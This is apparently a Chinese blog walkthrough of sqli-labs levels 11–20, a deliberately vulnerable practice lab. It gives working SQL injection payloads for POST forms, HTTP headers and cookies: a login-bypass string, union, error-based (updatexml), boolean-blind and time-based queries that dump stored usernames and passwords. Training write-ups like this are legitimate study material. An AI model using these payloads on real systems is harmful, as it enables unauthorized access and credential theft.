zoukankan      html  css  js  c++  java
  • sqli-labs通关教程----11~20关

    第十一关

    从第十一关开始,就开始用post来提交数据了,我们每关的目的都是获取users表下password字段的内容。
    post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以
    我们可以用抓包软件来修改post提交的数据。
    首先测试一下是字符型还是数字型,再输入的用户名和密码之间输入一个'查看是否报错

    可以看到,有报错,说明是字符型注入,由于我们不知道密码,但是因为这里有sql注入我们可以用个万能密码,username输入admin' or '1'='1 --+ 之后不管我们输入什么密码都可以登录

    可以看到有两个显示位,之后思路还是跟之前第一关一样,先查有几个字段

    看到3报错那就输入2页面正常了。然后就是常规操作了。
    爆数据库名:

    uname=7admin' union select version(),database()#&passwd=123&submit=Submit
    


    爆表名:

    uname=7admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=123&submit=Submit
    


    爆列名:

    uname=7admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=123&submit=Submit
    


    查所有用户名和密码:

    uname=7admin' union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit
    

    第十二关

    这关和十一关差不多就是闭合改成了")
    爆内容:

    uname=7admin") union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit
    

    第十三关

    这关只有输入为真回显字母为蓝色,假为红色,也会报错,所以可以用报错和盲注。这里是用')来闭合

    具体的步骤看前面第五关,这里就用报错注入。
    爆密码:

    &uname=admin') and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#&passwd=123&submit=Submit
    

    第十四关

    这关不会报错,可以用盲注。测试一下发现是”双引号闭合,然后又是常规套路。
    爆密码:

    &uname=admin" and substr((select password from users limit 0,1),1,3)='dum'#&passwd=admin&submit=Submit
    

    第十五关

    这一关直接用上一关的payload也可以(改单引号),想多掌握一点可以用时间延迟来注入
    爆表名:

    &uname=admin' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)#&passwd=admin&submit=Submit
    


    爆数据:

    &uname=admin' and if(substr((select password from users limit 0,1),1,3)='dum',sleep(5),1)#&passwd=admin&submit=Submit
    

    第十六关

    这一关一样,只是把闭合改为")

    第十七关

    这关对用户名的输入很严谨怎么变形都不行,但是对密码的输入控制的不严谨,这关查看源代码发现,不管输入什么密码都是对的,但是通过order by还是看得出又sql注入

    既然怎么输入都是对的,那盲注就没用了,但是有报错这里就用报错注入,之前第五关有步骤,不再赘述。
    爆数据库名:

    爆表名:

    到了查询数据的时候,发现不能直接查询会报错

    因为在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。
    爆数据:

    uname=admin&passwd=7' and updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)##&submit=Submit
    

    第十八关

    这关对username和password的输入都做了严格的过滤,那怎么办呢,这关一进来就显示了我们的ip,就联想到了header头注入,修改http头的User-Agent参数,查看源码发现是insert函数写入数据库,
    然后我们得知道mysql Insert语句的用法
    Insert into member(username,pw,sex,phonenum,email,address)values(‘xxxxxxxx’,11111,1,2,3,4);
    要构造闭合首先在我们可以输入的部分就是‘xxxx’里插入报错函数,
    注意要成功登陆才能注入
    报数据库:

    ' and updatexml(1,concat(0x7e,database()),0) and '1
    
    ' and updatexml(1,concat(0x7e,database()),1),"1","1")#
    

    这里语句可以用and,也可以用or

    ' or updatexml(1,concat(0x7e,database()),0) or '1
    


    爆列名:

    ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),0)and '1
    


    爆内容:

    ' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),0)and '1
    

    第十九关

    这关跟上关一样,就是换成了修改referer的值,一样的payload

    第二十关

    这关根据题目提示应该是在cookie上进行修改,看回显cookie的格式是uname=admin,所以构造payload

    uname=admin' and updatexml(1,concat(0x7e,(select database())),0) #
    


    这里有个坑,就是不能用POST方法提交数据,不然回显就很奇怪...

    爆表名:

    uname=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #
    


    之后就是常规操作了。

  • 相关阅读:
    Python正课38 —— 有参装饰器
    Python正课37 —— 无参装饰器
    Python正课36 —— 闭包函数
    Python正课35 —— 函数对象与函数嵌套
    Python正课34 —— Global与Nonlocal
    Python正课33 —— 名称空间 与 作用域 介绍
    vue中wowjs的使用
    js得到时间戳(10位数)
    腾讯地图使用中,出现了“鉴权失败,请传入正确的key”
    js数组操作大全
  • 原文地址:https://www.cnblogs.com/Xy--1/p/12733218.html
Copyright © 2011-2022 走看看